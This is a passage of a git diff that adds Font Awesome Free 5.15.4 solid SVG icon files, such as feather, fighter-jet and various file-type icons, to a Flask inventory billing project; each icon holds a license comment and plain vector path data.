16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/feather-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/feather-alt.svg new file mode 100644 index 00000000..b595f610 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/feather-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/feather.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/feather.svg new file mode 100644 index 00000000..4a36d891 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/feather.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/female.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/female.svg new file mode 100644 index 00000000..68053fb6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/female.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fighter-jet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fighter-jet.svg new file mode 100644 index 00000000..8be9227a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fighter-jet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-alt.svg new file mode 100644 index 00000000..10d2a2f2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-archive.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-archive.svg new file mode 100644 index 00000000..5e7df35c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-archive.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-audio.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-audio.svg new file mode 100644 index 00000000..639cb809 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-audio.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-code.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-code.svg new file mode 100644 index 00000000..a8c5ff42 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-code.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-contract.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-contract.svg new file mode 100644 index 00000000..80c81d75 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-contract.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-csv.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-csv.svg new file mode 100644 index 00000000..777c302b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-csv.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-download.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-download.svg new file mode 100644 index 00000000..cbe83758 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-download.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-excel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-excel.svg new file mode 100644 index 00000000..97cf136d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-excel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-export.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-export.svg new file mode 100644 index 00000000..760753a0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-export.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-image.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-image.svg new file mode 100644 index 00000000..e04a2412 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-image.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-import.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-import.svg new file mode 100644 index 00000000..a8eae91c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-import.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-invoice-dollar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-invoice-dollar.svg new file mode 100644 index 00000000..ea825be4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-invoice-dollar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-invoice.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-invoice.svg new file mode 100644 index 00000000..a2a9d86a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-invoice.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-medical-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-medical-alt.svg new file mode 100644 index 00000000..9de24f8c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-medical-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-medical.svg new file mode 100644 index 00000000..bf8ab14a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-pdf.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-pdf.svg new file mode 100644 index 00000000..7d5b19e4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-pdf.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 